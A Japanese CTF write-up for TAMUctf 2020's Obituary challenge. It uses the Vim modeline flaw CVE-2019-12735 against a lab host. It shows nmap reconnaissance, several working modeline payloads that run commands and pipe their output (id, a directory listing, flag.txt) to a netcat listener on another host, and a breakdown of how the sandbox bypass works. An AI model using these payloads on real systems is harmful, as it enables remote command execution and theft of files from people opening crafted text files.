(Writeup) 実践
問題環境(TAMUctf 2020: Obituary)
Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!
NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
攻撃シナリオを考える
Vimmerの人がnetcatのセッション経由で取得し(uploadされ)たファイルを確認する流れ。
攻撃対象がVimを使用しているだろうことしか情報がないのでVim CVE
で検索すると
allows remote attackers to execute arbitrary OS commands
と説明があるCVE-2019-12735がヒットしたのでこれを利用できないかと考える。
Proof of Conceptもすぐ見つかった。
CVE-2019-12735
脆弱性が存在するVimの利用を仮定し攻撃をするには
- 対象のマシンでのVim起動対象に攻撃スクリプトを混入する。
- 攻撃スクリプトの発火を確認する。
- 任意のOSコマンドをRCEできる。
以上のステップを構想し、確認していく。
この問題環境では対象は全てをVimで行うVim信者のようなので、攻撃スクリプトを対象サーバーに配置できればVim経由で開いてくれるのではと予想できる。
ここまででは推測の域を出ないので一歩ずつこのシナリオが有効か確認していく。
ターゲットマシンIPの特定する
TAMUctf
のnetwork_pentestでは外部ネットワークには繋がっていない、172.30.0.1/30へのVPNが問題ごとに配布されている。
$ nmap -n -sn 172.30.0.1-16
...
Nmap scan report for 172.30.0.2
Host is up (0.00049s latency).
...
Nmap scan report for 172.30.0.14
Host is up (0.00025s latency).
...
Nmap done: 16 IP addresses (2 hosts up) scanned in 2.09 seconds
同一LAN内に見つかったhostは二台のみ。172.30.0.14は自分のlocalマシンなので以上から対象マシンは172.30.0.2であることがわかる。
$ nmap -A 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-02 15:22 JST
Nmap scan report for 172.30.0.2
Host is up (0.00030s latency).
...
PORT STATE SERVICE VERSION
4321/tcp open rwhois
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds
対象マシンでは4321 portがtcpを待ち受けていることがわかる。これがnc
サーバーと推察される。(Service名がrwhoisと判定されているが、ここは利用portから(誤)推定されている)
想定シナリオの有効性を検証する
実際にこのシナリオが利用出来ることを確認するにはどうすれば良いか。確認方法は他にもあるだろうが、ここでは相手がnc
を利用していると推測できるのnc
でCVE-2019-12735
脆弱性を利用したRemote Code Executionの実行結果をlocalのマシンに送り返してもらうことで確認する。
$ nc -l 4444
localの4444 portにnc
サーバーを立て試しにid
コマンドの結果をnc
で送り返す攻撃スクリプトを用意。
:!id | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
攻撃対象(172.30.0.2)に攻撃用スクリプト(cmd.txt
)を送ってみる。
$ nc 172.30.0.2 4321 < cmd.txt
数秒するとlocalマシンにid
コマンドの出力と思われるものが返ってきた。
$ nc -l 4444
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)
指定したid
コマンドの結果が送られてきたことでmwazowski
ユーザーでOSコマンドがRCE出来ていることが確認できた。(攻撃シナリオ1. 2.)
ここで:!
で指定するOSコマンドはmwazowski
ユーザーが利用できるものなら何でも指定できることもわかる。(攻撃シナリオ3.)
欲しい秘匿情報の取得(Obituary-1)
mwazowski
ユーザーで任意のOSコマンドをRCEできることが分かったので、上記攻撃用スクリプトを書き換えることで好きに~/
以下を探索できる。
:!ls ~/ | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
$ nc -l 4444
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt
:!cat ~/flag.txt | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
$ nc -l 4444
gigem{ca7_1s7_t0_mak3_suRe}
と欲しかった秘匿情報(flag.txt
)を読み出すことができた。
CTFのflagは軽い難読化(e->3, o->0など)が施された対象脆弱性に関連する警句であることが多く問題を解いた快感と共に読むのが少し楽しい。
今回はca7_1s7_t0_mak3_suRe
-> cat first to make sure。まずcat
でファイルの内容を確認していればこの攻撃は避けられたと言うことであろう。
感想
報告されているCVEから環境に適したものを探し適用する問題の典型だった。PoCがワンライナーで利用できるものだったのでとてもやりやすかった。CTFは、どれもそうなのだが、実際に攻撃が確認できるまでは自分の中で建てたシナリオが有効か分からず、検証ステップを細かく刻めるかが実際に攻撃し切るには重要になる。この問題もこうやって振り返って整理するとstraightforwardなシナリオに見えるが、コンテスト中はVPN環境が不安定でそもそも対象マシンとやりとりができなかったり、相手の利用しているVim
のversionが分からなかったり、uploadしたらどのくらいの時間で開いてくれるのだろうかと不安になったり、rwhois
ってなんだろうと調べたりとそれなりに苦労した。
NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.
とあるようにこの問題はここまでが前半(Obituary-1)で、同様の環境で後半にLinux Privilege Escalationが出来る脆弱性が残っている(Obituary-2)。そして配点を見るとObituary-1自体が解けた人が意外と少ないおかげで配点が各400点ずつ残っているおいしい問題セットだった。(Obituary-1が解けてる人はほぼObituary-2も解けている)
実はTAMUctf: my-first-blogもLinux Privilege Escalationの問題でTAMUctfの期間中にLinux Privilege Escalationの勉強にまとまった時間を割けたのでそちらもWriteupを書こうと思っている。
-> (20200519 追記) 書きました。https://qiita.com/yto9/items/5da726ce87ced627fa92
(おまけ) CVE-2019-12735のPoCを読む
このPoCは環境に応じて修正する必要がないのでPoC自体への理解はなくても利用できるのだが、せっかくなのでどのように脆弱性を突いているのかを見ていく。
getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via the :source! command in a modeline, as demonstrated by execute in Vim, and assert_fails or nvim_input in Neovim.
CVEを見ると特定のversionのVim, Neovimでmodelineで:source!
コマンドとexecute
,assert_fails
,nvim_input
を組み合わせることでArbitary Code Executionが可能と報告されている。
PoCから天下り的に何をやっているかを把握する
modeline
からのコマンド実行と思われるような評価はセキュリティ上、sandbox
で実行されるようになっている。
For security reasons, only a subset of options is permitted in modelines, and
if the option value contains an expression, it is executed in a sandbox
だが、:source! {file}
コマンドではfile内の文字列をコマンドとして評価しsandbox
をbypassして実行できる。
However, the
:source!
command (with the bang [!
] modifier) can be used to
bypass the sandbox. It reads and executes commands from a given file as if
typed manually, running them after the sandbox has been left.
その:source! {file}
を実行するためにCVEに記載されている、execute
, assert_fails
, nvim_input
と言った関数を利用している。
modelineのsyntaxからPoCを評価順に見ていく
:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
modeline
のsyntaxは二種類ある。
There are two forms of modelines.
The first form:
[text]{white}{vi:|vim:|ex:}[white]{options}
The second form (this is compatible with some versions of Vi):
[text]{white}{vi:|vim:|Vim:|ex:}[white]se[t] {options}:[text]
各要素は
[text] any text or empty
{white} at least one blank character (<Space> or <Tab>)
{vi:|vim:|Vim:|ex:} the string "vi:", "vim:", "Vim:" or "ex:"
[white] optional white space
se[t] the string "set " or "se " (note the space); When "Vim" is used it must be "set".
{options} a list of options, separated with white space, which is the argument for a ":set" command
: a colon
[text] any text or empty
上記のPoCに当てはめると
text
:!{実行したいコマンド}||
options
fen:fdm=expr:fde=assert_fails("source!\ %"):fdl=0:fdt=
とトークナイズされる。
modeline
ではtext
部分は無視され、source! %
が評価される。(%はカレントファイルを指す)
source! %
では:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
がコマンドとして実行される。
:!
は外部プログラム実行なので{実行したいコマンド}
がコマンドとして実行されることとなりArbitary Code Executionが実現される。
(||
はそれ以前のコマンドのステータスコードが0(正常終了)以外の時のみ後続のコマンドを実行するので、{実行したいコマンド}を有効なOSコマンドにした場合は||
以降は実行されない。)